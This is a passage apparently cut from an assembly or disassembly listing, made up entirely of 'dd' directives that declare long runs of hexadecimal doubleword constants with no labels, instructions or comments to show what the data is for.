0A61639FAh dd 99975Eh, 0B5D67060h, 581AD120h, 15109B61h, 0D7B84E27h dd 26EC29C0h, 0B0093E8h, 0FDEF9D43h, 279252C9h, 13892794h dd 0C8896437h, 0A4BC71ECh, 0B39CA03h, 0AA4D61DEh, 32EF2CC0h dd 8B384B34h, 5C5227F6h, 9D696F65h, 4A3C7855h, 27F7CA5Fh dd 0D8DB732Ah, 0C4BD8916h, 1EE927EBh, 6AF9FE11h, 4EBA6CF3h dd 490BD66Ah, 0F018F5BCh, 11E7478h, 2C4519A6h, 6EAFB54Ch dd 0D4BD0063h, 0EA7F2113h, 63EB483Dh, 0E34AA13Ch, 41A85E9h dd 96DAB822h, 210A68EFh, 520516D3h, 0B2E3B647h, 0D2DF3016h dd 1641865Ch, 60EA1AB1h, 0CBD88447h, 0D9AD8C04h, 0D6B896C9h dd 4A48BBC0h, 0A995161Dh, 523DFDC4h, 7AB7D00h, 567BFA5h dd 0D912563h, 5B5C9251h, 4269D05Ch, 0F84CC873h, 9D629A04h dd 61CFF14Dh, 256F0CF7h, 0FDC860C6h, 46DD821Dh, 4702B7A9h dd 0B59AEB75h, 82BEB7DDh, 0F9EAD088h, 6DEB965Ch, 0A149400Bh dd 0BDACCDA7h, 51B70F75h, 0A06B42AAh, 7CBEA560h, 0F891800h dd 3273BC9Fh, 92910270h, 8EA21211h, 73C63A57h, 29715024h dd 27D5B516h, 7B902DAFh, 250B1C6Ah, 6C0B8A9Ah, 1A127B5Ch dd 18F2D6E6h, 0B7CCB631h, 85A84BE2h, 0E75FF6CEh, 0DD0C5A72h dd 0CDEF7481h, 0EE002E9Bh, 304355BBh, 0CA19972Ah, 0A8242EF8h dd 0DC4CDBFEh, 0A8FF9800h, 27EBE16Ah, 0D3106450h, 0E7005DB3h dd 1528929Eh, 5F60C652h, 1461EEEFh, 3138870Fh, 6D8D29C1h dd 8E243217h, 88CF81BBh, 79612B30h, 0AB57177Fh, 142BBD6Bh dd 893402BDh, 8069F5BDh dd 79202A96h, 0BE74E05h, 0A31DC679h, 8807EC44h, 0CB1AF5B2h dd 8F920FD0h, 409500DFh, 22A0D269h, 505B5F35h, 2CF19E88h dd 28BFA1h, 8FDAD3D1h, 3C066197h, 0B7BAE062h, 0F05B9D30h dd 0E392F57Ah, 5402840Bh, 725C49FFh, 21846D6h, 150920A1h dd 60FC5CB9h, 23D99D2Bh, 4F309187h, 0D6509682h, 0A1B362DDh dd 4BDE8B6Ah, 5BA919DCh, 6BFA5A70h, 15D978DDh, 0F25DF63Ah dd 5CB43019h, 70C29B0Ah, 65483381h, 71DC294Fh, 0BF2DBF94h dd 0D75A565Eh, 53E909E7h, 0B1A53BE5h, 42F58FC6h, 0B1E134EEh dd 5A74C2C6h, 0ECF04DEh, 0ABBC53F2h, 9A4E73CFh, 45138092h dd 2E40719Dh, 82738B5h, 0E9091B79h, 2D115E65h, 5CCB74CDh dd 0C18BE288h, 0F6BF0978h, 0AB8AE480h, 0D465121Ch, 276D40FEh dd 150094D8h, 57193CE6h, 0E6B64ED2h, 7F7305D7h, 8561770Ch dd 66D7F5E8h, 41ACF1A9h, 4ED1E36Ah, 0C7A2E484h, 50BC4D49h dd 38DECC5h, 800F2405h, 28EB02D8h, 9839F97h, 6521633h dd 8C004AE4h, 66A12667h, 26B727D2h, 8758F7Dh, 5B121181h dd 307248E1h, 6BFEA500h, 37D431A1h, 9034B314h, 0E0ADCEA6h dd 5684B1BEh, 6A9800A5h, 8F88AF31h, 5E0919D5h, 29508D75h dd 4A0650FEh, 7B42B585h, 35F09CE6h, 49209D89h, 0DBBF0626h dd 4E2E5EA1h, 5591B325h, 0F9BDD098h, 719B2C4Bh, 0D6C019C8h dd 2F03309h, 9D03637Ah, 2AD70E61h, 65A5F946h, 0CDA7144Ch dd 0DB9CC3C0h, 37BF026Ah, 537007Bh, 94BBA261h, 67536E63h dd 0DCBFA810h, 1DDBA6CEh, 0C0CA7F41h, 1AF093FFh, 799F5038h dd 406F9C7Ah, 0C148294Eh, 0B1001364h, 0B9566047h, 178F9154h dd 0BA615927h, 8002787Bh, 65829F75h, 15C4C7CDh, 318E4260h dd 4DD1BD26h, 8FE9FC84h, 3DE185B8h, 0DA6B0916h, 30AE92B4h dd 0C1FB568Fh, 0EF80D509h, 5FAF409Ah, 0C137BF79h, 69137C00h dd 0E86BA6B3h, 74192F9Bh, 98953ED0h, 1DF81AFh, 5DEF8CCCh dd 6A5F5290h, 8810B407h, 0FD390B8Bh, 3D00A5EEh, 0A469AAD8h dd 2E55712h, 4BEC5CD7h, 9457BA33h, 44D2164h, 83E78061h dd 0C83DDA2Bh, 5357C91Ch, 860F84DFh, 82E6AC0Dh, 82C698Dh dd 77D200A9h, 0FF6A6147h, 5D7A02BBh, 647570E2h, 36A40A93h dd 0C6AD89h, 985D6A0Ch, 400E5B2h, 0C91E4A88h, 7CFBF3Dh dd 5F375349h, 0D0D191BBh, 7DEE6045h, 977A225Ah, 304F1A3Eh dd 0B58D8982h, 0DA282EE1h, 50558A12h, 5002B5C5h, 105F71E4h dd 5FE0CA7Ch, 0ABC6A052h, 7A04994Fh, 0BE1214B1h, 95EC52A4h dd 0C3BFB679h, 4EB1F840h, 0C4D2B922h, 0BB4F0587h, 20A5C0A2h dd 9529A3C0h, 0EE329920h, 71F1BFE8h, 634BBC80h, 2F5E369h dd 14EFFE41h, 47C286D0h, 5F924E56h, 3D9DF4ABh, 25800A40h dd 847A84E3h, 27D0F420h, 0DF93B509h, 6B014FCCh, 38755A2Dh dd 81C84C85h, 0D849A440h, 545D4DBh, 2DD55682h, 2AF51A10h dd 1D48350Fh, 801E7BC5h, 250CD2BFh, 0DDC94EF9h, 57231210h dd 0E9294A64h, 0C6028949h, 5C602E12h, 0B24970E0h, 9DC34C00h dd 36918C6Fh, 70301FCh, 0EA4658Dh, 8A1F0C39h, 0C001D5D9h dd 0C7C6533Ch, 8BDF602Eh, 955089DAh, 3197FC79h, 9FA6FBFh dd 49D33AAh, 0BF8A69D7h, 29714C49h, 29535DAAh, 307B52h dd 0B9E305A9h, 7820ED3h, 5E6975BEh, 1546D41Dh, 25F40F28h dd 9104319Dh, 8ACCFBFCh, 4F22E1B8h, 0D8C7E8D8h, 52BA3B38h dd 0E150120Ah, 0B6B4BDB9h, 0D0E8A093h, 0A65E580Ah, 6F803217h dd 0D1CC28CFh, 6E85FA4Bh, 76E8A1F9h, 69BB0E02h, 4046C17Bh dd 971D9F9Dh, 1B915E35h, 1972F80h, 6B0BC567h, 510786h dd 963A0B39h, 8C5F4B3Ch, 2977575Dh, 5E1B7D2Fh, 0FEC9744Dh dd 442271DEh, 0EC59BD5Fh, 80564EB7h, 0F878D6EFh, 5A535695h dd 7D7366DFh, 2A953031h, 0FFFBBF19h, 0EF6EE14Fh, 0B2B66E02h dd 335C9283h, 4D89C251h, 0C40EFB8Bh, 2ACA4A31h, 0EA2BC835h dd 0F4059F6Eh, 0FA93297Bh, 0FE107237h, 972724E8h, 5B452A14h dd 0A1619A01h, 49D7E17Bh, 3288D979h, 79884F68h, 2E7900BFh dd 2062FC87h, 0DF121CC0h, 18E05CD8h, 4E807857h, 0E2AB96Fh dd 0A97903BBh, 70007224h, 0DC5582D8h, 59894911h, 0B5C1D855h dd 2B4BFE53h, 2DCB7E84h, 314ADE50h, 0EB030AE2h, 0F7C48786h dd 0F2CD53E8h, 0ADED9001h, 120319D0h, 0EC624B7Dh, 50F68E68h dd 37A10B2Fh, 0B0BA8063h, 87506430h, 617EBE2Fh, 4E81DA20h dd 0B4131468h, 2AF2E5B0h, 0F0EB0907h, 0B9DB4FE4h, 102649DFh dd 0B5ADD65Bh, 872058Fh, 0A799EB49h, 890AA9D8h, 0B3AE14B4h dd 66FA25DEh, 0CDF54AAAh, 90026EA5h, 56F9EEE8h, 26CF2D84h dd 0C038D762h, 0BD0DA901h, 7B696671h, 60CA50C5h, 0DD788300h dd 2F6A767Fh, 0A6895BFCh, 4A06F028h, 0ECD61FACh, 94F8A525h dd 0B0105520h, 0B2F2A26Dh, 91324062h, 8C919511h, 0FA9230F9h dd 0DF9534EEh, 1900A637h, 75D27C18h, 283D2569h, 12117C5Bh dd 0E1816707h, 7D88D0D0h, 200646Ah, 84EEFEDEh, 481080D5h dd 3116BE18h, 0B438AB2Bh, 0B97149B3h, 81D8DA64h, 21DC8ABAh dd 0BFA36A9Eh, 45E25Bh, 56F95455h, 10F32C0h, 63CFBF4Eh dd 225B62A7h, 5893444Dh, 5478739Bh, 41EE3FA5h, 505C3B80h dd 9529144Fh, 0F8B30154h, 882F7395h, 4B3C22A9h, 0B6D8820h dd 51E43995h, 4727A284h, 0EBC381C6h, 2B0B3546h, 0A238B36Eh dd 0AF76FEB4h, 0F9040952h, 0B3AC0C61h, 6ADFB7A1h, 981BBB3h dd 6B2D89BDh, 0C400E3E6h, 68C811E8h, 7700ED22h, 42253A3Bh dd 95C7553Ch, 8B9FB014h, 4375538h, 0AC68B280h, 3A8EBBECh dd 712C6114h, 0E95307EAh, 0CD760959h, 0B6CA00F4h, 2F59BB76h dd 10918E3h, 0F42CDD8Dh, 7B4BC1E9h, 0AB3BC436h, 0B8049517h dd 0E61296F1h, 0DF67D55Fh, 619D255Eh, 49B52248h, 5144164Bh dd 9DAC2F2Dh, 0BF05A4E7h, 80030E7Ah, 7C39E4FDh, 22BA08A0h dd 0D5620E91h, 0C9BB0004h, 15EF9FBh, 1A23FD6Bh, 53A53300h dd 4A2DEE99h, 7CAECD21h, 7FA3D2ECh, 0CB3CB84Eh, 24D48529h dd 6605D4F9h, 0F9EF6ABEh, 0B04A46C4h, 5EFADB2h, 6103D6CDh dd 8800C056h, 78AD5F8Eh, 18E0B448h, 5F94D7Bh, 14DEB83Dh dd 0BEB48F1h, 462DB12Ch, 3055453Dh, 2D5AED19h, 864050B7h dd 0B8264AFDh, 0C3E6B530h, 0F88746A1h, 6DB540A2h, 601B644Bh dd 5A984C2h, 0AFABC5A7h, 6A20762h, 0DDD8ECD6h, 6A5B3240h dd 49D1C551h, 9123B5D5h, 0BF9C8019h, 4B3CE014h, 13E273h dd 3BAA72ECh, 121A852Fh, 0DACE6CBBh, 0C214C87Bh, 0A156FC63h dd 532B727h, 4BC2D8Bh, 1203F5EFh, 0EE29A1A1h, 0BC50C8B8h dd 4A4ACAB4h, 0E94A87B7h, 186A825h, 0EC0A6EEAh, 2057FEF9h dd 0DF648B85h, 478495D4h, 0F89275AAh, 0FB6AC98Bh, 0CADF7AD8h dd 0D51EC218h, 5547F195h, 7896CF2h, 0E359E9B1h, 58BDDB69h dd 0B9040C69h, 0E61DDB45h, 1C496281h, 105D9602h, 0D969FAh dd 765B778Dh, 2C7336FEh, 15C0CBE9h, 0DE02B260h, 201459BEh dd 0F68BD522h, 0BD60D274h, 0F04D8F7h, 0C0C4425Dh, 8425FDF7h dd 49A69661h, 0E4B71EE1h, 85130C15h, 0EBB35059h, 89535B0Bh dd 124FF47Ch, 85114EB6h, 92C84B0Dh, 96210E58h, 0EF24BB27h dd 54B6BACBh, 12EB6A4Eh, 3404C26Fh, 90925D5h, 0B82F6F84h dd 845DE306h, 807FDEAEh, 0C47FFB54h, 8E6514AFh, 0A110871Eh dd 800F171Ah, 0BCAB6ED4h, 3A18C0C4h, 5E506D4Dh, 935DBD66h dd 0A5A23BB6h, 8160B2B0h dd 93BED239h, 0C6042B4Fh, 61090D6Dh, 46D6FF56h, 61BF001Bh dd 67261554h, 3D1352D0h, 0A8E78009h, 6FBD3872h, 0FAD940A1h dd 0EC162771h, 73B29C64h, 4D70DE01h, 0D0371E90h, 0C1125D7Dh dd 0B5AE2DA7h, 0AFBE0464h, 5F25CDE8h, 903674C5h, 786A9302h dd 0CC7DDB8Eh, 0FA91E804h, 95A28CF9h, 499BB900h, 30ED25A7h dd 3E0276ECh, 0B4A0F488h, 1E3557E1h, 12871891h, 4EDE23B5h dd 1369E412h, 0A1931FB8h, 923D2BF3h, 13B6A7Fh, 3E49F038h dd 172E7CE9h, 8790DB89h, 8D1331C0h, 0B017A4CDh, 0DA4BB7C7h dd 0BFAA868Dh, 89F81084h, 8C19EC04h, 65DE6B01h, 6A0910F7h dd 8B2C672Ah, 0D1780AD3h, 0BE922B6h, 78A87D00h, 0CE827E88h dd 0C7812555h, 25969640h, 9CB06395h, 4EA2BBh, 6335BB58h dd 7D613D1Ah, 0BEDD7329h, 0F058414h, 9662EB89h, 0D550070Bh dd 0B2CD2481h, 168E00B2h, 9DADE8D0h, 0F2CE2FA9h, 0BC29556h dd 7FA3AB95h, 7B8F1037h, 0E936A2E2h, 0BDA4A14Ah, 560813D5h dd 2B75B95h, 0E0CBB66h, 40D69555h, 0EAC77D3Fh, 0BDE1C19Fh dd 3BF3B72Eh, 9BDE0082h, 4616BC14h, 4AF013Dh, 9E815A0Ah dd 2F713184h, 4A6993F0h, 232CAE18h, 9E3EE18Dh, 8C4C80C7h dd 510F31FCh, 57E1D82h, 82026AC1h, 95A5913Ah, 0B7B99190h dd 4ABB6222h, 55F6EFFh, 54117C2Dh, 67563ECAh, 41C26BB1h dd 7BA3D7D8h, 2A0B7C8Ch, 25E80DBDh, 63C7FBE9h, 2525A008h dd 103B315Bh, 66051F05h, 0EBCCAEBFh, 0CAA0BA8Ah, 0BD01F8B1h dd 0BFE7E433h, 8AF09489h, 956E92DCh, 1A71B253h, 9D1C5A18h dd 2103F520h, 0C103F96Eh, 282E0751h, 634BB344h, 0E02B438Dh dd 6A719A9Bh, 16AC3CF9h, 0D4E35251h, 897E5F2Eh, 0B7760AA1h dd 0BFA94BF4h, 16762826h, 0AB7D30A6h, 290ED372h, 1200E5D9h dd 7E85DBCDh, 0A8AD0075h, 4D58FF08h, 0DD5F3168h, 295B8909h dd 841856B5h, 0EEB061F9h, 20249048h, 1A75ACF6h, 2270E6FBh dd 55B9A9D7h, 16837708h, 0BA34AED2h, 2BFDD9FBh, 0A8B90C48h dd 2035251Ch, 0DF4B0CC6h, 7AB7088Ch, 91C14DFEh, 0DE50496h dd 9F06B81Eh, 14859D84h, 9563D8AAh, 81013042h, 0FA45D6E3h dd 77E9017Eh, 0B1580415h, 14DC87F5h, 82F1AC05h, 51494755h dd 0F5F82D52h, 41D9F504h, 0F2AC5A7Ah, 4A19CE40h, 6EC7B216h dd 5A78C952h, 411245EBh, 71FE90Dh, 2F173746h, 67025B50h dd 0ED56492Dh, 0B0B5D6Bh, 0C4E63A55h, 0EBBB04C6h, 0AD71121Fh dd 8A6081D8h, 0D0A261FAh, 8D10E162h, 0A42F42B5h, 0B39FC51h dd 8E3F2665h, 0B779EF8Ah, 29AE6513h, 80202B86h, 11CEF36h dd 7FF0DEBCh, 390F93B9h, 0B6C4E9D1h, 33DF003Dh, 5EE8BB8Eh dd 649753EEh, 0C43A0983h, 5479E478h, 0EA514Bh, 9CC805ACh dd 7F17B976h, 0AFA432h, 0EC1351C2h, 6A123F50h, 2DE1F22Eh dd 0EE7AA4Ch, 7D3501D5h, 6DA78140h, 4C041DF9h, 29C12234h dd 601CE5AAh, 38FF8DB2h, 9FC0568h, 0FC948595h, 0E782F0AFh dd 3B08FE26h, 55121109h, 9AD502B2h, 59338293h, 75B65514h dd 0EEC8F84Ah, 0E84E9EFCh, 0E724D6EDh, 0D026642h, 57B52945h dd 4D95A358h, 601C6422h, 271F254h, 0A09748AFh, 445E8531h dd 16274B40h, 0B27A4A4Fh, 6ABFF42Ch, 1EE80189h, 0C478A41Fh dd 7B001B23h, 7DBD2ACDh, 18483B4Dh, 0BCB70BA6h, 1FE1C4ABh dd 58213033h, 549530CFh, 8ABDB904h, 2EB8FD28h, 0BD7D48A2h dd 2B38023h, 272884E3h, 20796D26h, 5515010Bh, 55BD8BB8h dd 0E4AC2F5Eh, 21359DA0h, 0A8D09D84h, 4AB30C4Ah, 0FD045385h dd 31E851h, 0E82CE50Ah, 0B9BD2B69h, 0CC8104EDh, 382E30F1h dd 75D9343Ch, 2E2299AAh, 4A3DBD11h, 0E5221ECAh, 3772ACA2h dd 9BA6605Bh, 602939E1h, 604BF966h, 0F2FA3588h, 83B900A2h dd 0B78B4823h, 99048701h, 8F94B866h, 25BBFCAEh, 6236C2F5h dd 243C0F70h, 3AB9E6D3h, 2F011C11h, 6477EDF8h, 0C0EF651Ch dd 1BE089F2h, 72A7D016h, 0E424DC8h, 0CB21276Ch, 849D9661h dd 0A053F32h, 74ABE2C9h, 0D26AFF90h, 23151B00h, 90EAABBAh dd 8E2CBF38h, 0C1503F1Eh, 760EC9EDh, 0D14DC17Ah, 243B091Fh dd 74EDBA7Ch, 3A08F118h, 7C005828h, 0F7426E92h, 18A8817h dd 8B685BFCh, 684FF29Ah, 0DC978162h, 0F27EC25Eh, 19BA40A4h dd 306CEB7h, 3F3836B5h, 0D6982CC2h, 55003E8Dh, 37B711B1h dd 27362BBCh, 2C5C5BE6h, 0ED997482h, 268BF54Fh, 6D751F62h dd 0D66DA51Dh, 0C5F66240h, 0D5AF06F4h, 54EE5CB9h, 750B4124h dd 3280142h, 0ACB5E6E9h, 0D7048493h, 0A75A7EB8h, 41E0B7AEh dd 4606B2Fh, 0B7DA8B1Ah, 4AA2B8F7h, 28067F7Bh, 0C099616Ah dd 5911DD25h, 0C4B56B45h, 0A04F190Eh, 3715C77Eh, 918D1629h dd 9E2CAB17h, 891AE321h, 0F8FFB01Dh, 33AC1DFDh, 0A4D70045h dd 5BBB7AB0h, 2148717Bh, 0E8CA4D8h, 7FAD0782h, 4053A386h dd 1B4CEA2Ch, 0B182EC4Bh, 74907531h, 0D84B8B96h, 5181E6ACh dd 28310F5Bh, 0FF1C9C26h, 4754CB03h, 57FE842Dh, 8FD5BD62h dd 96169FF9h, 16804BDBh, 77D9E3EDh, 0F07F870Fh, 0AB5C22BBh dd 996DF568h, 1227DB69h, 0A38AEB1Bh, 0A8079643h, 0C0A71312h dd 4377E5B7h, 0D8EB2912h, 0DF3BE0E2h, 0BFC2F05Bh, 5F49E117h dd 0ECAC1A24h, 93FE1D80h, 30013DC1h, 585F574Bh, 332EDE8Bh dd 58A60FB6h, 19A5BD24h, 9D1AF1AFh, 638EC5F5h, 0ED19B9C2h dd 49EEAD2Eh, 9C89311h, 381800A5h, 3DE78201h, 0DB1699C6h dd 6FFF61F1h, 0A0DD000Bh, 9BB6647h, 0D61697EFh, 92DF8012h dd 0D84B88h, 298BCA91h, 0D48E7B43h, 0B24DAA0Fh, 9800B388h dd 8CBC96DBh, 0D251B522h, 16B73965h, 343FDAB0h, 0DEC59750h dd 8225F82h, 4E5D27E9h, 0B8C50E4Bh, 26849896h, 883BAB17h dd 84A0DAA5h, 0F8AE3FD0h, 0B9B292E8h, 1820888h, 0D51EC195h dd 0F5253F9Ch, 0F4C17E04h, 0F19AF201h, 539675B1h, 17E90520h dd 0D910ECB2h, 0D69A4CCCh, 0E8644809h, 0AFA771B1h, 603D34C4h dd 0C3AC043Bh, 0D6C18A3Dh, 5B0214BDh, 5325225Ch, 5A07D8A5h dd 0BD895C04h, 0A6BA0331h, 0B7953ECh, 5F87F351h, 0D6548320h dd 9509C304h, 0A4FE7ECCh, 5F092508h, 16DEC884h, 0D7D59B30h dd 0E25EE0CCh, 218A3FACh, 6F965B96h, 1BEE078Bh, 0E7F051D6h dd 4BA141E9h, 0AA3AFC3Bh, 0A2DA8C00h, 3FECB0C6h, 6225962Dh dd 25DCD654h, 1C598153h, 63003C18h, 6A1DF768h, 99DE9184h dd 31D580E1h, 0ECE74BA0h, 9B0A247Fh, 0F1384AAAh, 6061CFA5h dd 0C40807D8h, 0FB4D604h, 4FBCF110h, 0E71A124Ah, 229A4E1Dh dd 0FC352680h, 3F042308h, 0DC8A5CC7h, 1B5820FFh, 0ED001F5Dh dd 27FD5592h, 19B5028h, 1C680256h, 28860FE7h, 749BA02Fh dd 93B4001Ah, 796C5C57h, 377BFF4Dh, 0FE1F867Ch, 5BD2E3F2h dd 0E99240F2h, 9A0A847h, 0F74E152Ch, 9AD6E2C2h, 3CE90EF6h dd 6722BFAAh, 365E1EC8h, 0C0C6CD2Fh, 0FFA63F3Ch, 32C5564Bh dd 8012DBAEh, 4857DF41h, 2066902Fh, 0F8A20691h, 7372A9FDh dd 1814593Dh, 0BD42950Dh, 0F3A72E5Ch, 0BA90D0B0h, 73FA1A2Fh dd 0D1B50BFBh, 0D81BE159h, 7595D85Ch, 6F4DB524h, 0E6601CE4h dd 0F6025BF7h, 0F8546E8Ch, 541057C6h, 0B0009F33h, 1BE602Fh dd 3A878C8h, 0AFEE6B2Dh, 0EAB97FEFh, 0DA147C30h, 0ED5055A6h dd 0B4808191h, 0ED8F9044h, 6A820BC2h, 0BFF56F3h, 653D5ED4h dd 1A5AAC61h, 5DFA2434h, 73254F7Eh, 181859E5h, 0B1BA5EBCh dd 0F7342B98h, 0A0A3CEACh dd 42FD344Ah, 0AD25E9BCh, 2AFE489h, 0B5290FB7h, 52571775h dd 0F9449D1Fh, 4B82BD02h, 40142279h, 975FDF23h, 0F9B1C2FAh dd 21D6AB80h, 4DA7364h, 4F3FDBAFh, 3AA3AE8Dh, 0E3EBBC0h dd 965B3634h, 0F3037A6Eh, 4EA252B9h, 8FE2C4h, 8DFCC24h dd 25B10E0Ch, 3EE17BF4h, 535F0003h, 0E361E260h, 0FD2EF765h dd 279FEC15h, 0B4FC1BCFh, 0DAB555CBh, 3F1B6CA7h, 79970F08h dd 734F00D5h, 605A42BFh, 0D38B5705h, 5D21615Eh, 0BE59D29h dd 4AC4E77Ah, 20C4C8h, 0EC7E4A68h, 48D83B0Dh, 93FC2602h dd 5E9D773Fh, 0DC575209h, 78632B79h, 3913BAF9h, 3A52E27Ah dd 0C640F4B3h, 262EE179h, 952F12D4h, 79815C14h, 0E9FAEC80h dd 0D8B1D25Ah, 0A600BB63h, 7923C2D4h, 99B0CC8Ah, 43DCD6Bh dd 2EA9C1BBh, 495CAB8h, 6AA82B58h, 8D3CE683h, 52346A88h dd 2610C9B1h, 498B7869h, 0F465D4h, 563BD3A0h, 0B731C262h dd 78BED730h, 0A2CE77F3h, 252EDA8Ah, 0B4F464A0h, 4C7500F4h dd 4663320Ch, 6609C420h, 661FBDBFh, 0E67E1A7h, 85B121E0h dd 0BE666C04h, 0F5A9C9BAh, 9CA49AD6h, 5904EFA6h, 6E81C535h dd 0AC042E55h, 2D072867h, 38F39Fh, 0DEF4EBC0h, 0F100D9DBh dd 5BF53580h, 3AB7D90h, 547C5E19h, 79D8423Dh, 9500E710h dd 0F27ECB9Bh, 0F0482D08h, 0DDD0732h, 47E8591Eh, 0BB80DEF0h dd 7EB20F18h, 0BC784201h, 0AC701CDFh, 21040898h, 7E00BA31h dd 586101A0h, 1FA5F275h, 40A617C1h, 0ED889544h, 0EB041E08h dd 0F405402Fh, 40617006h, 0B8EF7207h, 104C1BA3h, 2B470038h dd 0CC339113h, 9CC99BFh, 582105h, 61FF2B3Fh, 0D665DFA4h dd 889B9C00h, 5CF9A98Ah, 68126796h, 180818F1h, 80714EEFh dd 91162B4Ah, 10E18C4Bh, 2B425Bh, 2E720A4h, 618DAB9Bh dd 9A5501Bh, 0EDE0DF58h, 3FF555E6h, 4B048D9h, 0E9BD8419h dd 20786180h, 80C2FD11h, 0A1095017h, 3AF9380h, 6052C8h dd 0D6B67701h, 78F6C529h, 321DBD00h, 9C687B5Bh, 0E8F100A4h dd 9343C7E0h, 4B00AEA2h, 0BE53B0D9h, 7C747C8Ch, 44754850h dd 8FE5F900h, 248B9096h, 73302C01h, 56CF99C9h, 50E3B4C8h dd 19A9DDEh, 0D7E74F6Dh, 0D4B244A7h, 4C7930C5h, 3D1AB700h dd 386F2EE5h, 0FA52036Ch, 6E21E91Bh, 45A3B5A0h, 26A88600h dd 0E3FF5DE7h, 73FCF0h, 43209205h, 4D591A88h, 7B4E13Eh dd 909F1108h, 7AEE9880h, 26AE06EAh, 20E63201h, 0D3AF5900h dd 8C19F7EDh, 1DD83130h, 96B1FA19h, 0CB0FE108h, 0F80EE005h dd 30F462D8h, 3060B62Eh, 31C7E7D5h, 802E3F9Ah, 714B25Eh dd 41AF6FF9h, 7FF63BBDh, 995460FEh, 4F37F75Fh, 7E900403h dd 0E032DEBCh, 14A53FEh, 0E365208Bh, 8057BEB9h, 8AE9D031h dd 6346E622h, 1A6228D3h, 8D7454C0h, 1132C11Bh, 4218E889h dd 0DB7B86h, 17A8C446h, 35B66E2Bh, 0BDA03Fh, 34EC5F33h dd 60313690h, 141B3910h, 0B1008FB3h, 0A218F154h, 0A54877h dd 0DCE267C7h, 52EC27AAh, 0C1404060h, 26160B6Fh, 79AED0h dd 153BE78Eh, 1EFE1A49h, 0C7846750h, 33DBD000h, 40CCB95Bh dd 66D20D23h, 0F03011CFh, 19C07D63h, 0A20CA84Ch, 4EF5011Fh dd 2F101C20h, 29E0D0A9h, 84AB5A7Ah, 0A32C01D0h, 25A148h dd 5CAF720Dh, 0ECD63C04h, 8BFB0024h, 0DAB5EC69h, 0ED032EF0h dd 0E75B9AD4h, 65EAE096h, 186A60C2h, 0CC226BB3h, 91005C74h dd 0D5C679F3h, 7AFD259h, 27DAEF76h, 21444675h, 0D5BE9A0Ah dd 0A100EE65h, 0B1B6DC73h, 92EE0069h, 345F2879h, 0F8C31517h dd 18AC4B68h, 4149CC38h, 2800091Ah, 0C0107C1Fh, 0FCCEA9D2h dd 35C50F57h, 0E963384Ah, 0A860F28Bh, 0B6B5930h, 538F18F4h dd 55711195h, 0EBCC1C00h, 12677D40h, 6608CC30h, 1D175721h dd 0D403471Ch, 44316EEh, 19FF7098h, 0CEF6017Fh, 18BB40BAh dd 7549DE08h, 6C59063Ah, 0C1E1E7h, 864F196Ah, 0CF285D2Eh dd 0E90BA30Fh, 0DDD6C030h, 0CEE581h, 0DF084775h, 6CBAEC4h dd 0B0B44800h, 0B5BAB196h, 0D54B07C2h, 807451E6h, 0B953CC5Ah dd 87A16200h, 0BB4DDFC5h, 48406048h, 0CAD66FAh, 0C3A81800h dd 45E59087h, 139EB8FCh, 6077E01h, 798FD7F8h, 0AD30DE00h dd 91FE123h, 2E4A1C42h, 921300F0h, 2667F5E3h, 1148ED0Eh dd 722AC0BDh, 0F92C71h, 0FEA66549h, 0F71DF174h, 0E6120405h dd 9F809A43h, 18E99402h, 699DD8F6h, 7EB87A76h, 0CC5EB800h dd 0DA320D98h, 649A0044h, 8A1971A4h, 0D0CB8E81h, 801A8003h dd 189376B3h, 0C875C4BDh, 0F40E8943h, 0C2390644h, 0C0CD5E0Fh dd 0F3DE02h, 0A94E6A25h, 3C2C0383h, 2A1C8100h, 13398FA0h dd 924D0770h, 415DC06Ch, 0F378759Fh, 0B6D8BBA0h, 5B347E00h dd 0B8D4271Fh, 1805EAA1h, 18827AF7h, 2D0104DDh, 69D20B7h dd 0BFE01AECh, 0B81D7841h, 7DF630EAh, 0FC869228h, 0C0615360h dd 1BD8D16h, 0F44F946Fh, 0F45797C7h, 960E225Bh, 475E4C61h dd 301C247Bh, 8438325Dh, 0C106728h, 4A4400FBh, 8B6D7B49h dd 9CFF5CF1h, 1AFBEA78h, 19D1B703h, 7441A71Ch, 0C0886D35h dd 0A51975E6h, 6087798h, 9A52D718h, 68C30FC0h, 545C21E9h dd 252D44h, 236B1402h, 0EC6AB49h, 1DC28706h, 209ABAh, 0DD3E5F92h dd 0D8769F4Ch, 39B8600h, 6AF84031h, 60987ABFh, 0EFC2B1C8h dd 0F50E8E15h, 7023F26h, 0B2412082h, 18DBC76Eh, 316FD851h dd 59003D0Eh, 5B5C061Ah, 3310C1Eh, 5E979B8Ch, 85F828DAh dd 78C8DF95h, 0D01880D9h, 282B97A3h, 931E2714h, 91FF11A0h dd 0B90CDD05h, 3D980074h, 5D7D3F48h, 809B663Eh, 9E415E08h dd 0E100425h, 998471DEh, 697902CCh, 0D048F738h, 0CA889A24h dd 0D8100702h, 46D7C671h, 0A07CC1DFh, 0A1D54E0Eh, 0CF0036C5h dd 0BA57F1DDh, 12070073h, 8629A9FEh, 38E8ED4Eh, 3F186B14h dd 0D1DC06C0h, 34887F4h, 370C1D1Fh, 1019DA2Fh, 0F761E8A7h dd 2B35C4h, 9DD3C3F5h, 0ABC0196Bh, 5B949700h, 4132B2D6h dd 0BBA30088h, 0DBFF60C5h, 530CED7Ch, 62903969h, 0D471CF96h dd 61124900h, 44286338h, 9750C72h, 10913A00h, 0F9E74DB0h dd 346A3C88h, 2701100h, 60247E06h, 4A071892h, 36404E6Eh dd 65C1B210h, 88BF02BBh, 53D3850h, 0DEEABF60h, 7684B91Dh dd 0C239991Bh, 0EE004985h, 1D86EE0h, 0FE064D01h, 0F323F5B4h dd 45B291Fh, 1F0F0A0h, 4F5E3A25h, 8079B957h, 0E22C3941h dd 98A743B8h, 0AE7D02EEh, 70C09194h, 7F0861h, 0A00526B9h dd 0C378ECh, 407671A7h, 8E1EED16h, 47836900h, 42E14B81h dd 7DBBEED1h, 61FA03FFh, 5C6FA80Fh, 47F80918h, 0F79B20h dd 0A3FA561Eh, 0CF8D10AAh, 461D9300h, 6199EACDh, 6E3939A8h dd 15C24D86h, 620759E0h, 0A69F14C0h, 0F5ED0AC0h, 69803A40h dd 83DCE581h, 488E4781h, 1E08FE44h, 70E761E3h, 1E00F6A0h dd 32BCE014h, 85253h, 0CE9EB80Fh, 0E8C77518h, 546B60E5h dd 44D6DB28h, 0F9E8D4ECh, 11460630h, 12BF222h, 8F5EB47Eh dd 998DCBDFh, 0DB983008h, 2C7AC0h, 0C8688A6Eh, 8F078C56h dd 80FE4D51h, 39D25A58h, 0A97F15ADh, 0E2187AA8h, 61EF1D04h dd 0F432ADC7h, 1EFAA420h, 76F46Dh, 14889517h, 0F7E0BAAFh dd 